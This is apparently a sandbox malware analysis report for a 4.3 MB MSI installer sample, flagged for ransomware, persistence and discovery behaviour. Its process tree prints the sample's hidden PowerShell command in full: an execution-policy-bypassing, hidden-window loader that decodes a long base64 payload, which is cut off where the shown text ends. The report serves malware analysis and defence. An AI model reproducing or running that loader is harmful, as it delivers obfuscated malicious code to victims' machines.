66f63d15a732fc7e04d4c2b5cc5f48356c849bddd5f95ccc72967cd7168d666b

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 00:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
66f63d15a732fc7e.msi
Size 4.3MB
Sample261102-as87bses2w
SHA256 66f63d15a732fc7e04d4c2b5cc5f48356c849bddd5f95ccc72967cd7168d666b
MD5 f47cf05a701d6305052f0b79df35429b
SHA1 793402203677079a5b4b54d8c3e579f58c889f46
SHA512 5ab2192f1db8467a24e0abd68d30a1dc15da1afc740146d3c4792163cd6d883fc022d4550780f97665d4ad7c3ee4aead1cc00111f3da3f63cb0971d51af490c6
SSDEEP 98304:R/JrMOEglGFWZWVWCBVcnCI3tZnvmBSf80X8T21NYnYsmt:NbxPoVcnj3/neBK80emNadmt
TLSH
T18A26D8EC7A51F39980B01D5B9294CDEA176A3443CBC84B51BEBEBE7A12C493D14F1E18
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	5468	powershell.exe
13	5468	powershell.exe
14	5468	powershell.exe
15	5468	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5468	powershell.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
12	ipinfo.io

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF234F4B9FFC7654DF.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5A773CB5F30999F3.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59acf0.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8FAF65BFE06D352F.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{336C88AF-B35C-4251-9B81-1267326F7644}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2DE0FAAAB3EC5877.TMP	msiexec.exe
File created	C:\Windows\Installer\e59acf2.msi	msiexec.exe
File created	C:\Windows\Installer\e59acf0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB174.tmp	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5076	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b0d977edac71670e0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801b0d977ed0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101b0d977ed000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3b0d977ed00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6b0d977ed00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2088	msiexec.exe
2088	msiexec.exe
5468	powershell.exe
5468	powershell.exe
5468	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5076	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5076	msiexec.exe
Token: SeSecurityPrivilege	2088	msiexec.exe
Token: SeCreateTokenPrivilege	5076	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5076	msiexec.exe
Token: SeLockMemoryPrivilege	5076	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5076	msiexec.exe
Token: SeMachineAccountPrivilege	5076	msiexec.exe
Token: SeTcbPrivilege	5076	msiexec.exe
Token: SeSecurityPrivilege	5076	msiexec.exe
Token: SeTakeOwnershipPrivilege	5076	msiexec.exe
Token: SeLoadDriverPrivilege	5076	msiexec.exe
Token: SeSystemProfilePrivilege	5076	msiexec.exe
Token: SeSystemtimePrivilege	5076	msiexec.exe
Token: SeProfSingleProcessPrivilege	5076	msiexec.exe
Token: SeIncBasePriorityPrivilege	5076	msiexec.exe
Token: SeCreatePagefilePrivilege	5076	msiexec.exe
Token: SeCreatePermanentPrivilege	5076	msiexec.exe
Token: SeBackupPrivilege	5076	msiexec.exe
Token: SeRestorePrivilege	5076	msiexec.exe
Token: SeShutdownPrivilege	5076	msiexec.exe
Token: SeDebugPrivilege	5076	msiexec.exe
Token: SeAuditPrivilege	5076	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5076	msiexec.exe
Token: SeChangeNotifyPrivilege	5076	msiexec.exe
Token: SeRemoteShutdownPrivilege	5076	msiexec.exe
Token: SeUndockPrivilege	5076	msiexec.exe
Token: SeSyncAgentPrivilege	5076	msiexec.exe
Token: SeEnableDelegationPrivilege	5076	msiexec.exe
Token: SeManageVolumePrivilege	5076	msiexec.exe
Token: SeImpersonatePrivilege	5076	msiexec.exe
Token: SeCreateGlobalPrivilege	5076	msiexec.exe
Token: SeBackupPrivilege	5496	vssvc.exe
Token: SeRestorePrivilege	5496	vssvc.exe
Token: SeAuditPrivilege	5496	vssvc.exe
Token: SeBackupPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe
Token: SeTakeOwnershipPrivilege	2088	msiexec.exe
Token: SeRestorePrivilege	2088	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5076	msiexec.exe
5076	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5076	msiexec.exe
2088	msiexec.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 4532	2088	msiexec.exe	95
PID 2088 wrote to memory of 5468	2088	msiexec.exe	97
PID 5468 wrote to memory of 1664	5468	powershell.exe	100
PID 1664 wrote to memory of 2020	1664	csc.exe	101

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\66f63d15a732fc7e.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5076

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4532
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:m8sBWjRQpWeo='C:\Users\Admin\AppData\Local\Temp\66f63d15a732fc7e.msi';$N6PLvxwTeCIhX=[Convert]::FromBase64String('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i3WMaY1ujnSPM5AykV2SLJNblHWVaZZul3SYM5kyml2bLpxNnWGea59loEKheaJSo2WkZqVUpnmncKhlqSiqKasprCmtIK4kr2GwdbE4sjKzMbQ1tTa2MLc7uFC5Sbo4uzK8Mb01vja/MMAgwSfCQ8NyxGXFYcZ0x2XIVMloynLLZcxhzWTOJ88g0CfRa9Jl03LUbtVl1mzXM9gy2S7aZNts3GzdJ94g3yjgW+FJ4m7jdORQ5XTmcudd6CnpIOoo61vsdO157nDvZfBb8V3yXfNA9Cj1W/ZJ9274dPlQ+nT7cvxd/Sz+W/9VAEkBbgJ0A1AEdAVyBl0HLAhbCUkKbgt0DFANdA5yD10QLBFbEkkTbhR0FVAWdBdyGF0ZLBpbG3UcaR1uHnQfMyAyIV0iLCNbJHUlaSZuJ3QoMykyKl0rLixNLWEuay9lMEIxeTJSM2U0ZjVUNnk3cDhlOSg6KTspPCk9ID4kP2FAdUE4QjJDMUQ1RTZGMEc7SFBJSUo4SzJMMU01TjZPMFAgUSdSTFNvVGFVZFZMV2lYYllyWmFbclx5XUFeJ18gYCdha2JlY3JkbmVlZmxnM2gyaS5qZGtsbGxtJ24gbyhwW3FJcm5zdHRQdXR2cnddeCl5IHooe1t8dH15fnB/ZYBbgV2CXYNAhCiFW4Zzh3SIcolpim6LZ4xdjSmOKY8gkCSRYZJzkziUMpUxljWXNpgwmTuaUJtJnDidMp4xnzWgNqEwoiCjJ6RHpWWmdKdQqHKpb6pjq0GsZK1krnKvZbBzsXOyJ7MgtCe1a7Zlt3K4brllumy7M7wyvS6+ZL9swGzBJ8IgwyjEW8VJxm7HdMhQyXTKcstdzCnNIM4oz1vQdNF50nDTZdRb1V3WXddA2CjZW9pJ227cdN1Q3nTfcuBd4SziW+Nz5HTlcuZp527oZ+ld6inrKewg7STuYe9z8DjxMvIx8zX0NvUw9jv3UPhJ+Tj6Mvsx/DX9Nv4w/yAAJwFNAnMDaQRPBXAGZQduCEQJYQp0C2EMYg1hDnMPZRAnESASJxNtFHMVaRYuF2QYbBlsGicbIBwoHVsedR9pIG4hdCIzIzIkXSUpJiAnKChbKXQqeStwLGUtWy5dL10wQDEoMlszczR0NXI2aTduOGc5XTosO1s8ST1uPnQ/UEB0QXJCXUMsRFtFdUZpR25IdEkzSjJLXUwuTU1OYU9rUGVRQlJ5U1JUZVVmVlRXeVhwWWVaKFspXCldKV4gXyRgdWFuYjhjMmQxZTVmNmcwaDtpUGpJazhsMm0xbjVvNnAwcSByJ3NNdHN1aXZEd2F4dHlhemJ7YXxzfWV+T39wgGWBboJWg2mEZYV3hieHIIgniW2Kc4tpjC6NZI5sj2yQJ5EgkiiTW5R1lWmWbpd0mDOZMppdmymcIJ0onlufdKB5oXCiZaNbpF2lXaZApyioW6l1qmmrbqx0rTOuMq9dsCyxW7Jzs3S0crVptm63Z7hduSy6W7t1vGm9br50vzPAMsFdwi7DTcRhxWvGZcdCyHnJUsply2bMVM15znDPZdAo0SnSKdMp1CDVJNZ1127YONky2jHbNdw23TDeO99Q4EnhOOIy4zHkNeU25jDnIOgn6U3qc+tp7Fbtae5l73fwRfF48mXzY/R19XT2